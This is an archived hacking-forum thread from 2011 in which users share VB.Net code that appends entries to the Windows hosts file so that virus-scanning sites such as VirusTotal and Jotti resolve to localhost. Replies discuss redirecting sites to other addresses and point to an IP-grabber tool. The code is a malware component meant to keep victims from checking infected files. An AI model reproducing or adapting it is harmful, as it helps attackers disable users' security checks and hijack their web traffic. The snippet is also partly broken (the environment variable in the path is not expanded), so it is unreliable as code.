![]() |
|
[VB.Net] Local Host Block - 127.0.0.1 - Printable Version +- Sinisterly (https://sinister.li) +-- Forum: Coding (https://sinister.li/Forum-Coding) +--- Forum: Visual Basic & .NET Framework (https://sinister.li/Forum-Visual-Basic-NET-Framework) +--- Thread: [VB.Net] Local Host Block - 127.0.0.1 (/Thread-VB-Net-Local-Host-Block-127-0-0-1) |
[VB.Net] Local Host Block - 127.0.0.1 - 1234hotmaster - 02-19-2011 Dim path As [String] = "%windir%\system32\drivers\etc\hosts" Dim sw As New IO.StreamWriter(path, True) On Error Resume Next Dim x1 As [String] = vbLf & "127.0.0.1 www.virusscan.jotti.org" sw.Write(x1) sw.Flush() On Error Resume Next Dim x2 As [String] = vbLf & "127.0.0.1 www.vscan.novirusthanks.org" sw.Write(x2) sw.Flush On Error Resume Next Dim x3 As [String] = vbLf & "127.0.0.1 www.novirusthanks.org" sw.Write(x3) sw.Flush() On Error Resume Next Dim x4 As [String] = vbLf & "127.0.0.1 www.virustotal.com" sw.Write(x4) sw.Flush() Spoiler: CreditsCredits go to the programmer which i don't remember. RE: [VB.Net] Local Host Block - 127.0.0.1 - Lenalee - 02-19-2011 Good Job bro <3 On Error Resume Next Dim x1 As [String] = vbLf & "127.0.0.1 http://hackcommunity.com" sw.Write(x1) sw.Flush() can i just redirect it to somewhere? RE: [VB.Net] Local Host Block - 127.0.0.1 - 1234hotmaster - 02-19-2011 yep. you just need the site's IP. how to get that? http://hackcommunity.com/Thread-616-s-IP-grabber The source is included too. RE: [VB.Net] Local Host Block - 127.0.0.1 - Coder-san - 02-19-2011 You should not hard-code C partition though, use this instead: %windir%\system32\drivers\etc\hosts RE: [VB.Net] Local Host Block - 127.0.0.1 - 1234hotmaster - 02-19-2011 omg that really works? tnx man! i've always done alot of string replacement to get the main drive! RE: [VB.Net] Local Host Block - 127.0.0.1 - Codebreaker - 02-23-2011 Thats Cool Dude ![]() Keep it up
|